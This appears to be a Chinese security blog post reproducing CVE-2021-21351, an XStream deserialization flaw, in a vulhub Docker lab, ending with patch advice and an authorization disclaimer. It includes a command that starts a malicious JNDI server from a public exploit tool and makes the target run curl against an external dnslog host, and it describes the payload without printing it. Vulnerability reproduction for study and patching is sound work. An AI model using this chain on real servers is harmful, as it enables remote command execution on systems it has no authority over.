CVE-2021-21351-Stream 反序列化命令执行漏洞复现

2021-12-02 11:47:27 浏览数 (1)

今天给大家介绍,XStream是一个简单易用的开源java类库,在解析XML文本时使用黑名单机制来防御反序列化漏洞,但之前的版本黑名单存在缺陷所以造成反序列化命令执行错误,下午具体来看一下复现过程吧。

0x00简介

XStream是一个轻量级、简单易用的开源Java类库,

它主要用于将对象序列化成XML(JSON)或反序列化为对象。

0x01漏洞概述

XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞,

但是其 1.4.15 及之前版本黑名单存在缺陷,

攻击者可利用javax.naming.ldap.Rdn$RdnEntry

及javax.sql.rowset.BaseRowSet构造JNDI注入,进而执行任意命令。

0x02影响范围

Xstream<=1.4.15

0x03环境搭建

文件:docker-compose.yml

version: '2'

services:

web:

image: vulhub/xstream:1.4.15

ports:

- "8080:8080"

命令:docker-compose up -d

环境启动后,

访问 http://your-ip:8080 ,

发送一个正常的XML数据包,

来确定环境是否搭建正常:

0x04漏洞复现

  • 启动恶意的JNDI服务器

地址:https://github.com/welk1n/JNDI-Injection-Exploit/

命令:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "curl jsqghe.dnslog.cn" -A 192.168.1.142

  • 发送payload到web服务器来执行命令

使用基于SpringBoot利用链的RMI地址作为<dataSource>的值.

查看恶意的JNDI服务器请求情况,

发现漏洞服务器访问了JNDI服务并执行了curl命令,

可以获得dnslog请求记录:

dnslog:

0x05修复建议

  1. 配置XStream的安全框架为允许的类型使用白名单
  2. 注册自己的转换器,以防止解组当前已知的Java运行时关键类型
  3. 升级XStream到最新版本

*本文章仅供技术交流分享,请勿做未授权违法攻击,雨笋教育不负任何责任。具体请参考《网络安全法》。

0 人点赞